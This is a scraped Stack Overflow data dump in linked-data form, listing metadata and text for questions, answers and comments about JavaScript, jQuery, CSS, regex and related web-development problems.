tags question: http://stackoverflow.com/q/25672890
tags question: http://stackoverflow.com/q/25559521
tags question: http://stackoverflow.com/q/25706364
tags question: http://stackoverflow.com/q/25597054
tags question: http://stackoverflow.com/q/25692228
tags question: http://stackoverflow.com/q/25635029
tags question: http://stackoverflow.com/q/25668800
tags question: http://stackoverflow.com/q/25652064
tags question: http://stackoverflow.com/q/25561388
tags question: http://stackoverflow.com/q/25692923
tag name: meteor
tags question: http://stackoverflow.com/q/25612636
tags question: http://stackoverflow.com/q/25643114
tags question: http://stackoverflow.com/q/25675934
tags question: http://stackoverflow.com/q/25575845
tags question: http://stackoverflow.com/q/25660777
tags question: http://stackoverflow.com/q/25674736
tags question: http://stackoverflow.com/q/25583543

http://stackoverflow.com/comment/40148684
has text: "some browsers" — What browsers? Are you sure they are even browsers and not crap bots?
comment on: http://stackoverflow.com/q/25688195
type: Comment
type: QuestionComment
score: 2

http://stackoverflow.com/comment/39976548
score: 0
comment on: http://stackoverflow.com/a/25593018
type: AnswerComment
has text: Perfect!! thank you :) Are there any cross-browsers risk? Also - where can I learn more about how and when can I use the css selectors? i'll be very glad for a ref. Thanks!
type: Comment

http://stackoverflow.com/q/25602076
has comment: http://stackoverflow.com/comment/39992614
tagged with: http://stackoverflow.com/tag/html
answer count: 1
score: -6
favorite count: 0
has title: Two javascripts not working together
has comment: http://stackoverflow.com/comment/39992449
tagged with: css
downvote count: 6
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25602193
has body: I have website and want to add some script in it. when I try to add cant because two javascripts not working together: my html code only when I remove this: then works first javascript :) please help me and not give this question down rate because I've recently been banned. Thank you in advance. If any details needs provide Im ready to comment :)
has comment: http://stackoverflow.com/comment/39992442
has comment: http://stackoverflow.com/comment/39992588
type: Question
has comment: http://stackoverflow.com/comment/39992336
has comment: http://stackoverflow.com/comment/39992629
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25602193
has comment: http://stackoverflow.com/comment/39992846
has comment: http://stackoverflow.com/comment/39992546
upvote count: 0

http://stackoverflow.com/q/25666939
tagged with: asp.net-mvc
has comment: http://stackoverflow.com/comment/40156422
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40158118
has comment: http://stackoverflow.com/comment/40110918
tagged with: sql-server
score: 0
has comment: http://stackoverflow.com/comment/40111844
has comment: http://stackoverflow.com/comment/40111511
has comment: http://stackoverflow.com/comment/40157964
tagged with: asp.net-ajax
has body: i want to show(render) text box from the database , i have following fields in the database like controLabel and controlType having values label and text respectivaly... I mean i want to show on the html page one label and one textbox those types are fetched from Database , Any idea how can i achieve this... I am doing project in the Asp.net Mvc ,, i will prefer to do this in ajax, jabascript or jquery ...
has comment: http://stackoverflow.com/comment/40111036
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40111093
answer count: 0
has title: How to populate input type(text box) and label from Database
type: Question
has comment: http://stackoverflow.com/comment/40111403
has comment: http://stackoverflow.com/comment/40110704
has comment: http://stackoverflow.com/comment/40111270

http://stackoverflow.com/q/25603825
has answer: http://stackoverflow.com/a/25604241
has answer: http://stackoverflow.com/a/25603888
has answer: http://stackoverflow.com/a/25603865
possible better answer: http://stackoverflow.com/a/25603888
score: 0
answer count: 3
accepted answer: http://stackoverflow.com/a/25603865
has title: why google map not load in javascript?
tagged with: javascript
tagged with: jquery
has body: I am following the the steps given in this link https://developers.google.com/maps/documentation/javascript/tutorial I am getting error after load can you tell me where I wrong ? I already generate key ? fiddle http://jsfiddle.net/p3kcztvb/1/
type: AnsweredQuestion
type: Question

http://stackoverflow.com/q/25556459
has title: First item on the jQuery Vertical Accordion Menu Plugin
tagged with: javascript
tagged with: jquery
upvote count: 1
favorite count: 0
type: UnansweredQuestion
has body: When using jQuery Vertical Accordion Menu Plugin I ran into a problem: the first menu item is always open - even if refresh the page. Yes, the state of open tabs menu should be maintained (see settings below), but each time you visit the site the first item is expanded (I repeat: even if roll it and refresh the page). How to solve this problem? I quote the following settings of the plug-in: $('ul.menu').dcAccordion({ classParent: 'with-submenu', eventType: 'click', saveState: true, disableLink: true, speed: 'fast', cookie: 'menu' }); Thanks.
answer count: 0
downvote count: 0
score: 1
type: Question

http://stackoverflow.com/comment/40128300
type: Comment
comment on: http://stackoverflow.com/a/25676469
score: 0
type: AnswerComment
has text: You have to remove 'item' $('.details').each(function(idx) or else you get this id="id-[object HTMLDivElement]"

http://stackoverflow.com/comment/39902781
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25552695
has text: So what's first, the string or the json file? When and how could JS be executed?
score: 0

http://stackoverflow.com/q/25576352
answer count: 1
downvote count: 0
tagged with: javascript
tagged with: regex
favorite count: 0
type: UnansweredQuestion
upvote count: 1
has title: Regex: replace text unless url?
has answer: http://stackoverflow.com/a/25576470
has body: I have this basic Chrome extension that replaces instances of 'hipster' with 'James Montour'. However, it searches the whole body for these instances, and replaces the word even in URLs, which breaks images and links (obviously). I need to figure out how to prevent that and I'm not good with regex. Here's my code: $(document).ready(function() { var replaced = $("body").html().replace(/hipster/gi, 'James Montour'); $("body").html(replaced); }); What should I try?
score: 1
type: Question
has comment: http://stackoverflow.com/comment/39945603

http://stackoverflow.com/a/25660995
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25660556
type: Answer
answers question: http://stackoverflow.com/q/25660556
score: 1
upvote count: 1
has body: First I would disable select like this: $("select[name=f03]").eq(index).prop('disabled', true); Second, your function should be much simpler: $("select[name=f03]").each(function(){ if ($(this).prop('disabled')) return; $(this).val(top_select); });

http://stackoverflow.com/comment/39899136
type: AnswerComment
score: 0
type: Comment
has text: @dystroy — Functions are defined by scripts. The debugger shows the file name of the script that defines it.
comment on: http://stackoverflow.com/a/25552067

http://stackoverflow.com/a/25561615
has body: Do not use duplicate IDs; use a CSS class instead. By definition, IDs should be unique; therefore no two or more elements should have the same ID. HTML: this row is hidden this row is not hidden JS: $(function() { $("#showHiddenRows").on('change', function() { if( this.checked ) { $('table tr.foo').show(); } else { $('table tr.foo').hide(); } }); }); Or, you could shorten it like this: $(function() { $("#showHiddenRows").on('change', function() { $('table tr.foo')[ this.checked ? 'show' : 'hide' ](); }); });
has comment: http://stackoverflow.com/comment/39917482
accepted answer of: http://stackoverflow.com/q/25561483
type: Answer
answers question: http://stackoverflow.com/q/25561483
downvote count: 0
has comment: http://stackoverflow.com/comment/39917448
score: 1
has comment: http://stackoverflow.com/comment/39917444
has comment: http://stackoverflow.com/comment/39917382
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/a/25597275
answers question: http://stackoverflow.com/q/25597223
type: Answer
has body: Try this: open And put the script just before the closing tag.
score: 0

http://stackoverflow.com/a/25682024
score: 2
has comment: http://stackoverflow.com/comment/40161716
downvote count: 0
has body: In JavaScript use Date.parse(myDateObject) to convert different date formats to a Unix timestamp (although the resulting last 3 digits are not part of the unix timestamp, but are milliseconds). e.g.: if (Date.parse("Mon Sep 15 2014 18:20:52 GMT+0200 (CEST)") &gt; Date.parse("2014-09-04T13:57:33.338Z")) {}; // evaluates to true
answers question: http://stackoverflow.com/q/25682023
upvote count: 2
type: Answer
has comment: http://stackoverflow.com/comment/40138265

http://stackoverflow.com/comment/40030978
type: Comment
has text: When a user logs in I am storing their ID in a session variable e.g. SESSION.ProfileID. To make sure the right person is logged in, it will be something like `<cfif structkeyexists(Session, 'ProfileID') and Session.ProfileID EQ URL.ProfileID>` then allow user to edit this profile. This is easily achieved with Coldfusion using separate templates. But its doing it inline that baffles me
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25622173

http://stackoverflow.com/q/25656771
has body: I know that objects are copied by reference in javascript, but this is strange. var project = projects[projectIndex]; var projectName = project[0]["repository"]["name"]; console.log("type" + " of name " + projectName + " in " + ownerFolderName); projectTasks.push(function(callback){ omnifocus.create_folder_if_possible_in_group(projectName, ownerFolderName, function () { callback(); }); }); In this snippet is run multiple times in a loop. The projectName is correct when logged with console.log. However, when used in the anonymous function (in projectTasks), the value is always the same value as the last item. For example : if it's looped three times, it will log "1", "2", "3" (which is correct). However, in the anonymous function, it will run three times with the "3" value. Full code is available here : https://github.com/gcamp/github-omnifocus-sync/blob/master/index.js
score: 1
possible better answer: http://stackoverflow.com/a/25656959
duplicate of: http://stackoverflow.com/q/750486
upvote count: 1
has title: String changes after code is run
has answer: http://stackoverflow.com/a/25656959
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25657007
answer count: 2
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/40092470
accepted answer: http://stackoverflow.com/a/25657007
linked to: http://stackoverflow.com/q/750486
tagged with: node.js
type: AnsweredQuestion

http://stackoverflow.com/q/25623682
has body: I have a regex to update and there is an empty parenthesis in it. And i wondering : what is the purpose ? I don't find something about it. The regex : (DE)()([0-9]{1,12}) Because, if it is useless, i can remove it.
type: Question
has answer: http://stackoverflow.com/a/25624074
answer count: 2
has title: Regex - why empty parenthesis?
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25624074
has comment: http://stackoverflow.com/comment/40031898
has comment: http://stackoverflow.com/comment/40031861
score: 3
has answer: http://stackoverflow.com/a/25624425
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/40032014
tagged with: regex
has comment: http://stackoverflow.com/comment/40031734
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40031879
accepted answer: http://stackoverflow.com/a/25624425
upvote count: 3

http://stackoverflow.com/comment/40149775
comment on: http://stackoverflow.com/q/25688845
score: 0
type: Comment
type: QuestionComment
has text: Have you tried removing 'preload' attribute? (Afraid I can't be much help otherwise!)

http://stackoverflow.com/q/25600313
has answer: http://stackoverflow.com/a/25601442
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/39989400
accepted answer: http://stackoverflow.com/a/25601442
has title: Resize div on click to fit window (working)and resize back on second click (not working)
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39990118
type: Question
has comment: http://stackoverflow.com/comment/39989206
has body: I have a code that allows me to resize W&amp;H of a container to match the window W&amp;H on click, and it's working great, also I want it to resize back on second click but that's not working for me so far... Here's what i got and a half working jsFiddle: $('.more').click(function(){ var isFullscreen = false; var d = {}; var speed = 900; if(!isFullscreen){ // MAXIMIZATION d.width = $(window).width();; d.height = $(window).height();; isFullscreen = true; } else{ // MINIMIZATION d.width = "50px"; d.height = "50px"; isFullscreen = false; } $(this).animate(d,speed) })
has comment: http://stackoverflow.com/comment/39990493
tagged with: javascript
tagged with: resize
tagged with: jquery

http://stackoverflow.com/comment/40078625
score: 0
type: AnswerComment
has text: Nuts - I was 10 seconds too slow =)
comment on: http://stackoverflow.com/a/25649480
type: Comment

http://stackoverflow.com/q/25564201
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39922292
tagged with: django
linked to: http://stackoverflow.com/q/13746052
tagged with: javascript
has body: My use case: I use Angular with Django backend. Django has nice built-in application called messages - it allows to show one-time messages to user, for example "Your account sucessfully activated!". What I want to do is to show them with AJAX - I want to request them after each XHR from a client. Like described in this article. How can I make such hook?
has title: How to define hook that will be executed after every XHR?
type: Question
score: 0
has answer: http://stackoverflow.com/a/25564435
answer count: 1
tagged with: ajax
tagged with: angularjs

http://stackoverflow.com/q/25590488
type: AnsweredQuestion
score: 0
tagged with: google-chrome
type: Question
accepted answer: http://stackoverflow.com/a/25590542
has title: drop down list onclick change value of input not working on chrome or opera
has body: i have drop down item list. when i select an item. it should update input box on item prices. but it works perfectly on firefox and IE 9. dont work chrome or opera. anybody have an idea ? &lt;option onclick="javascript:document.getElementById('price').value='$0.00'"/&gt; &lt;input type="text" name="price" id="price" /&gt;
tagged with: javascript
tagged with: firefox
answer count: 1
has comment: http://stackoverflow.com/comment/39971280
has answer: http://stackoverflow.com/a/25590542
tagged with: opera

http://stackoverflow.com/q/25553062
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39901258
type: Question
has comment: http://stackoverflow.com/comment/39901301
has answer: http://stackoverflow.com/a/25553155
has comment: http://stackoverflow.com/comment/39901654
tagged with: javascript
has answer: http://stackoverflow.com/a/25553182
possible better answer: http://stackoverflow.com/a/25553155
answer count: 3
downvote count: 0
has answer: http://stackoverflow.com/a/25553103
has title: Why does new Number(2) != new String("2") in JavaScript
favorite count: 0
has comment: http://stackoverflow.com/comment/39901324
has comment: http://stackoverflow.com/comment/39901463
has comment: http://stackoverflow.com/comment/39901303
accepted answer: http://stackoverflow.com/a/25553103
has body: The following evaluate to true: new Number(2) == 2 new String("2") == "2" Obviously, but so do the following: "2" == 2 new Number(2) == "2" new String("2") == 2 So can someone explain clearly why he following evaluates false? new Number(2) == new String("2")
score: 6
tagged with: javascript-objects
upvote count: 6
tagged with: object

http://stackoverflow.com/a/25561061
answers question: http://stackoverflow.com/q/25560895
has comment: http://stackoverflow.com/comment/39923502
has comment: http://stackoverflow.com/comment/39916769
downvote count: 0
upvote count: 2
type: Answer
has body: adding overflow:auto; in your css file #mainContainer { min-width: 740px; padding: 0; margin: 0; overflow: auto; // add this } if you want to have a fixed scrollbar then change the "overflow:auto" to overflow:scroll;
score: 2
has comment: http://stackoverflow.com/comment/39916632
has comment: http://stackoverflow.com/comment/39916668

http://stackoverflow.com/q/25685366
has comment: http://stackoverflow.com/comment/40177827
favorite count: 0
has comment: http://stackoverflow.com/comment/40155311
has title: YouTube embed API issue on IOS and Android
upvote count: 7
has answer: http://stackoverflow.com/a/25875790
accepted answer: http://stackoverflow.com/a/25875790
downvote count: 0
tagged with: youtube-api
type: AnsweredQuestion
score: 7
has body: An issues popped up in the last few days with the YouTube embed API. The issue is that when you embed a video with the official API, it simply doesn't allow you to access to the API. When you try to access to the API, you got error message on the log (IOS) and if you try to play the video through the API the video blacks out. If you load it via the API, but you do not use the API, the user is able to play the video with tap. The issue persist on the following browsers: IOS 7 Safari on iPad and iPhone IOS 7 Chrome on iPad and iPhone Android 4 Chrome (My play button uses the API to play the video and that produce the error) JSfiddle: http://jsfiddle.net/frdd8nvr/6/ Error message: Unable to post message to https://www.youtube.com. Recipient has origin http://fiddle.jshell.net. postMessage[native code]:0 Jwww-widgetapi.js:26:357 Nwww-widgetapi.js:25 (anonymous function)[native code]:0 html5player.js:1201:97 Blocked a frame with origin "https://www.youtube.com" from accessing a frame with origin "http://jsfiddle.net". The frame requesting access has a protocol of "https", the frame being accessed has a protocol of "http". Protocols must match. Some debug info: As I see the API create the iframe on the site. The src is sometime http and sometime https. http://www.youtube.com/embed/ZPy9VCovVME?enablejsapi=1&origin=http%3A%2F%2Ffiddle.jshell.net&autoplay=0&modestbranding=1&wmode=opaque&forceSSL=false My test showed that most of the times YouTube servers simply LOCATION: https://... the request to the https url, but around 10% they served the http request with proper content. I think somehow the issue related with the forced https, but I was not able to figure out the solution. Have you experienced the same? Do you have some kind of solution for this problem? Is it a YouTube bug? My test code: Play JS: var tag = document.createElement("script"); tag.src = "//www.youtube.com/iframe_api"; var firstScriptTag = document.getElementsByTagName("script")[0]; firstScriptTag.parentNod…
type: Question
linked to: http://stackoverflow.com/q/20607505
answer count: 1
tagged with: javascript

http://stackoverflow.com/a/25582374
upvote count: 3
type: Answer
has body: You have to just decrement i after splice i--; BTW I would like to just use filter and assign result to same data variable like bellow data = data.filter(function(obj) { return obj.type !== 1; }) console.log(data);
accepted answer of: http://stackoverflow.com/q/25582358
answers question: http://stackoverflow.com/q/25582358
score: 3
has comment: http://stackoverflow.com/comment/39956577
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/40112870
has text: Please attach your code from code-pen in your question.
type: Comment
comment on: http://stackoverflow.com/q/25668179
score: 0
type: QuestionComment

http://stackoverflow.com/q/25624800
tagged with: asp.net
favorite count: 0
has body: I am facing this strange issue. The bing map does not display on my page where as all the controls even pushpins displays properly. I googled a lot and same the functionality is working great in my other project(s) I suspect that something is wrong with the reference to the dev.virtualearth.net, Or I am missing something Here is my code: ASCX (is inside the content place holder of dynamically generated aspx): . . . Code behind: string script = @" function GetVEMap() { map = new VEMap('eventMap'); map.SetDashboardSize(VEDashboardSize.Small); map.LoadMap(); DisplayEventsOnMap(); } function DisplayEventsOnMap() { var eventMapLayer = new VEShapeLayer(); eventMapLayer.Id = 'eventMapLayer'; var points = null; . . . //Code to get the data for pin display etc . . map.AddShapeLayer(eventMapLayer); map.SetMapView(eventMapLayer.GetBoundingRectangle()); map.SetZoomLevel(15); }); } $(window).load(function() { GetVEMap(); } );"; ScriptManager.RegisterStartupScript(this, typeof(Page), "MapDisplay", script, true); CSS: #bigMapContainer {display: block;} #eventMap { position: absolute; width: 550px height: 500px; } I have added some references on the master pages which are not related to the map but might conflict with my map implementation(?) Help is very much appreciated.
accepted answer: http://stackoverflow.com/a/25678557
has title: virtual earth - Only map is not rendering
tagged with: css
tagged with: virtual-earth
has comment: http://stackoverflow.com/comment/40035308
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25628159
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/45970015
type: Question
possible better answer: http://stackoverflow.com/a/25628159
tagged with: javascript
tagged with: bing-maps
has comment: http://stackoverflow.com/comment/40035468
answer count: 2
has answer: http://stackoverflow.com/a/25678557
downvote count: 0

http://stackoverflow.com/q/25675060
favorite count: 0
tagged with: stellar.js
has title: Stellar.js responsiveness without resizing the window
type: UnansweredQuestion
answer count: 0
downvote count: 0
score: 1
tagged with: background-image
type: Question
tagged with: javascript
tagged with: jquery
has body: Okay this is a rather complicated setup/question so I will try to explain it as clear as possible. Right now stellar parallax is working great on my site with no issues whatsoever. this was accomplished by setting the responsive property in stellar.js to true which makes it so that the background image follows the div when you resize the window. Because the issue before was that resizing the window was bad because stellar vertically aligns the background images in a certain way so if you resized the window the div in question might end up in an area where the background is repeating or in an empty spot(if you had no repeat on), it just wouldnt be aligned with the background image anymore. Responsiveness=true fixed this. However here is the new issue. I have a section on my website where 3 divs are set to display: none by default. 3 buttons, respectively, toggle their display. Toggling their display makes their parent div much longer therefore pushing the rest of the content of the page further down. This pushes the stellar divs out of position with their background images again and i can see areas where the image repeats or are blank(if you have no repeat). However if you resize the window after you toggled the three hidden divs, the stellar divs will automatically fix itself and realign the images as a result of it picking up the responsiveness. I was wondering if there was anyway perhaps I could make toggling the hidden divs trigger this realignment without the user having to resize the window(he/she wouldnt know he/she had to anyway)? Perhaps a way to refresh a specific part of the page(the stellar divs)? Or perhaps a function to resize the window by like a pixel or even 0 pixels just to trigger the responsiveness? Thanks in advance, I hope everything makes sense.
upvote count: 1

http://stackoverflow.com/q/25674668
has answer: http://stackoverflow.com/a/25674708
tagged with: javascript
has comment: http://stackoverflow.com/comment/40124388
has answer: http://stackoverflow.com/a/25674715
has answer: http://stackoverflow.com/a/25674971
score: 0
answer count: 3
upvote count: 1
downvote count: 1
tagged with: jquery
favorite count: 0
has title: Accessing different types of element
has comment: http://stackoverflow.com/comment/40124473
type: AnsweredQuestion
has body: I have a table with few rows. Each rows has header, data and hidden field. Data column can have either text or textarea. .................... What is the name of the party? What is the name of the opposing party? ...................... I am able to read the content of header and hidden field but not sure how to read data column as it can have two different types of element. $("#knowledgeTreeTable tr").each(function() { alert($('th', this).text());//OK //alert($('td > [input, textarea]', this).val()); // This is not OK. alert($('input', this).val());//OK });
accepted answer: http://stackoverflow.com/a/25674715
type: Question
possible better answer: http://stackoverflow.com/a/25674708

http://stackoverflow.com/q/25609151
answer count: 1
tagged with: jquery
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
tagged with: css
tagged with: margin
has body: I made a image slider for my website. I want 98px margin in both right and left sides of it so that the slider seems to be middle in the webpage. How to do that? Now I know: margin-left:98px; margin-right:98px; can keep 98px margin in both sides. But in my case it doesn't work. main.php file: The slider contains my recently taken photos. To visit my huge collection of photography please visit External Photo Gallery ‹ › ‹ › ‹ › ‹ › ‹ › ‹ › .CSS file: .slides { padding: 0; width: 750px; height: 420px; display: block; margin: 0 auto; position: relative; } .slides *{ user-select: none; -ms-user-select: none; -moz-user-select: none; -khtml-user-select: none; -webkit-user-select: none; -webkit-touch-callout: none; } .slides input { display: none; } .slide-container { display: block; } .slide { top: 0; opacity: 0; width: 609px; height: 420px; display: block; position: absolute; transform: scale(0); transition: all .7s ease-in-out; } .slide img { width: 100%; height: 100%; } .nav label { width: 70px; height: 100%; display: none; position: absolute; opacity: 0; z-index: 9; cursor: pointer; transition: opacity .2s; color: #FFF; font-size: 156pt; text-align: center; line-height: 380px; font-family: "Varela Round", sans-serif; background-color: rgba(255, 255, 255, .3); text-shadow: 0px 0px 15px rgb(119, 119, 119); } .slide:hover + .nav label { opacity: 0.5; } .nav label:hover { opacity: 1; } .nav .next { right: 0; } input:checked + .slide-container .slide { opacity: 1; transform: scale(1); transition: opacity 1s ease-in-out; } input:checked + .slide-container .nav label { display: block; } .nav-dots { width: 100%; bottom: 9px; height: 11px; display: block; position: absolute; text-align: center; } .nav-dots .nav-dot { top: -5px; width: 11px; height: 11px; margin: 0 4px; position: relative; border-radius: 100%; display: inline-block; background-color: rgba(0, 0, 0, 0.6); } .nav-dots .nav-dot:hover { cursor: pointer; background-color: rgba(0, 0, 0, 0.8); } input#img-1:checked ~.n…
has comment: http://stackoverflow.com/comment/40005334
type: Question
has answer: http://stackoverflow.com/a/25609295
tagged with: javascript
has title: How to keep margin in both sides of a slider?
score: 0

http://stackoverflow.com/comment/40038673
comment on: http://stackoverflow.com/q/25627282
type: QuestionComment
has text: If you're not using iframes then there's a strong possibility some exploit is.
score: 0
type: Comment

http://stackoverflow.com/q/25652961
has answer: http://stackoverflow.com/a/25653002
has body: I have html like this: a b c What I'd like to accomplish using jQuery is to have the order rotated. So after one call the resulting html would be: c a b And after another ... b c a And so on. What is the proper way to accomplish this?
has comment: http://stackoverflow.com/comment/40085255
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/10014752
has comment: http://stackoverflow.com/comment/40085208
type: Question
upvote count: 2
downvote count: 2
tagged with: javascript
linked to: http://stackoverflow.com/q/14555415
tagged with: jquery
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/25653007
has title: Using jQuery to Rotate the order
has comment: http://stackoverflow.com/comment/40085228
favorite count: 0
possible better answer: http://stackoverflow.com/a/25653007
has answer: http://stackoverflow.com/a/25653019
accepted answer: http://stackoverflow.com/a/25653019

http://stackoverflow.com/comment/39910783
type: Comment
comment on: http://stackoverflow.com/a/25554616
has text: @user2658433: They could have achieved a similar result, if they'd replaced `&&` with `?` **and** added a `:` with something in it that didn't do anything. `x && y();` is another obscure JavaScript idiom which (in my view) should be avoided in nearly all cases. What it does is basically `x ? y() : /*...do nothing...*/;` *(Please, please tell me that this is minified/compiled code, and not something someone actually wrote. It's a serious abuse of the conditional and comma operators.)*
type: AnswerComment
score: 0

http://stackoverflow.com/a/25566942
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25566830
answers question: http://stackoverflow.com/q/25566830
has comment: http://stackoverflow.com/comment/39927628
type: Answer
has body: If I understand well, what you want is when you have loaded your new page (external.php) you can click on link on this new page and then reload the div. If I guess right, you need to use this code: $(document).on('click', '.newLink', function(){ var link = $(this).attr('rev'); $(".loadWow").load(link); } If you give directly the newLink class as reference, jQuery won't find your class because it's not loaded in the DOM.

http://stackoverflow.com/q/25674596
has comment: http://stackoverflow.com/comment/40163504
has comment: http://stackoverflow.com/comment/40124314
tagged with: ramda.js
accepted answer: http://stackoverflow.com/a/25720884
downvote count: 1
has comment: http://stackoverflow.com/comment/57137430
type: Question
has comment: http://stackoverflow.com/comment/57141266
answer count: 2
has comment: http://stackoverflow.com/comment/40196351
has answer: http://stackoverflow.com/a/39167099
tagged with: javascript
has comment: http://stackoverflow.com/comment/40124455
score: 15
has comment: http://stackoverflow.com/comment/40126634
possible better answer: http://stackoverflow.com/a/39167099
has comment: http://stackoverflow.com/comment/40124246
tagged with: functional-programming
has body: I've been working for some time on a Javascript FP library called Ramda, and I'm having a slight problem with naming things. (You've heard the old line, right? "There are only two hard problems in Computer Science: cache invalidation, naming things, and off-by-one errors.") In this library, (almost) every function of more than one parameter is automatically curried. And this works well for most use-cases. But there are some issues with a few functions which are non-commutative binary operators. The issue is that the English names often tend to imply something different than what happens when currying is applied. For example, var div10 = divide(10); sounds like it should be a function that divides its parameter by 10. But in fact it divides its parameter into 10, which is pretty clear if you look at the definition: var divide = curry(function(a, b) { return a / b; }); So instead the expected: div10(50); //=&gt; 5 // NO!! In fact, you get div10(50); //=&gt; 0.2 // Correct, but surprising! We handle this by documenting the difference from people's possible expectations, and creating divideBy, which is just flip(divide) and subtractN, which is flip(subtract). But we haven't found a good equivalent for functions such as lt: R.lt = curry(function(a, b) { return a &lt; b; }); or its cousins lte, gt, and gte. My own intuition would be that map(lt(5), [8, 6, 7, 5, 3, 0, 9]); //=&gt; [false, false, false, false, true, true, false] But of course, it actually returns //=&gt; [true, true, true, false, false, false, true] So I'd like to do the same document-and-point-to-alternate-name routine for lt and its ilk. But I haven't been able to find a good name. The only real candidate has been ltVal and that doesn't really work when called with both arguments. We did discuss this issue, but had no good conclusions. Have others dealt with this and come up with good solutions? Or even if not, any good suggestions for a name for the flipped versions of these functions? Update Someone sug…
has comment: http://stackoverflow.com/comment/57137421
has comment: http://stackoverflow.com/comment/40124122
has comment: http://stackoverflow.com/comment/57148601
favorite count: 0
has title: Good names for flipped versions of `lt`, `lte`, `gt`, and `gte`?
has comment: http://stackoverflow.com/comment/40126717
has comment: http://stackoverflow.com/comment/40124172
has comment: http://stackoverflow.com/comment/57141726
has answer: http://stackoverflow.com/a/25720884
upvote count: 16
type: AnsweredQuestion

http://stackoverflow.com/comment/40192495
score: 0
has text: @Bergi 3 - i was thinking of using objects only - an object of objects. but tbh i have no idea how to implement "add"-, "search"- and "update"- functions for it. and i don't even know if it could be performing better.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25711539

http://stackoverflow.com/comment/39937059
has text: Thank you but it's crashing
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25571866

http://stackoverflow.com/q/25640632
has comment: http://stackoverflow.com/comment/40062725
type: Question
has comment: http://stackoverflow.com/comment/40062867
score: -2
tagged with: javascript
upvote count: 2
answer count: 1
tagged with: jquery
has body: I need to make my slider with jquery or ccs3 having animation effects. i have an example for slider (http://www.sifi.it).
has comment: http://stackoverflow.com/comment/40063035
favorite count: 0
has answer: http://stackoverflow.com/a/25643487
accepted answer: http://stackoverflow.com/a/25643487
has title: How to give effects like flash in jquery or ccs3 slider?
tagged with: css
has comment: http://stackoverflow.com/comment/40064254
downvote count: 4
type: AnsweredQuestion

http://stackoverflow.com/comment/39911739
type: AnswerComment
comment on: http://stackoverflow.com/a/25556776
type: Comment
has text: gotcha, You can't set value to a table's innerHTML, you should access to child cells or rows and change them like that :
score: 0

http://stackoverflow.com/q/25650334
has answer: http://stackoverflow.com/a/25650646
accepted answer: http://stackoverflow.com/a/25650646
has body: I got some of my nifty rails apps working, and its all jiffy and peaceful. I want to secure one tiny part that just feels wrong doing the way it is now - my sign-in procedure, where I use the form_tag with the remote option to send the content of a text and password field for obvious reasons using POST. Sending a password just plain over HTTP makes me feel dirty. From where I can see, I have the following options: learn to live with it and hope for the best learn something awesome to have my controller doing magic through a rails-helper-i-dunno-about trick build a separate app that runs on HTTPS and make life a living hell by going back to square one. use JavaScript encryption Somehow I think my best option is 4 - JavaScript encryption. However, if the user types in his/her password and it gets encrypted with a part that is server-generated, it should be secure (in relation of solving the problem of sending it in plain text over HTTP) and solve my problem I guess. But on the rails side, to get that to work is to keep (yes, i have many things to cover, still) plain passwords in my database. I need some help here - some pointers.
type: Question
has comment: http://stackoverflow.com/comment/40080822
has comment: http://stackoverflow.com/comment/40080675
linked to: http://stackoverflow.com/q/3715920
has comment: http://stackoverflow.com/comment/40080826
tagged with: javascript
tagged with: jquery
score: -1
tagged with: security
tagged with: ruby-on-rails-4
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/40081220
favorite count: 0
has title: How to enhance HTTP authentication security?
linked to: http://stackoverflow.com/q/14700182
type: AnsweredQuestion
upvote count: 0
has comment: http://stackoverflow.com/comment/40080790
has comment: http://stackoverflow.com/comment/40080705

http://stackoverflow.com/a/25652949
has comment: http://stackoverflow.com/comment/40085740
score: 1
has comment: http://stackoverflow.com/comment/40085268
answers question: http://stackoverflow.com/q/25652848
upvote count: 1
has body: To understand, it helps to rename identifiers to get the equivalent var module = (function (module_impl) { module_impl.prototype.something_else = function () { }; return module_impl; })(module || {}); module_impl is the object that is to hold the module's public API. So after populating it, the anonymous function returns it to the caller, which assigns it to the global module. This way the API is now available using module while any implementation details are hidden in the closure created by the anonymous function. module || {} now is to allow augmentation: the first time it gets called, module is still undefined since the assignment to the return value of the anonymous function has not happened yet. Thus `module || {} evaluates to the second operand. To further illustrate why the assignment is needed. The first time, the stub gets called, it is effectively the same as var module = (function () { var module_impl = {}; // ... return module_impl; })());
type: Answer
has comment: http://stackoverflow.com/comment/40085251
has comment: http://stackoverflow.com/comment/40085476
has comment: http://stackoverflow.com/comment/40085430
downvote count: 0

http://stackoverflow.com/q/25657856
accepted answer: http://stackoverflow.com/a/25658522
tagged with: angularjs
upvote count: 1
type: AnsweredQuestion
has body: i 'm working on project that work with angularJs, and i use Cufon to change fonts. now, when controller loaded, cufon replace angular expressions and after that angularJs will run. that's my problem. i want Cufon run after Angular expression Binding. any one can help me? in my HTML page: &lt;span class="input-label" id="lb" &gt;{{s}}&lt;/span&gt; and in js: $scope.s = "hiiii"; Cufon.replace('#lb', {onAfterReplace: Bifon.convert, fontFamily: 'B Titr'}); problem is where before angular binding happened, Cufon changes expression value. any one can help me?
has answer: http://stackoverflow.com/a/25658522
type: Question
answer count: 1
downvote count: 0
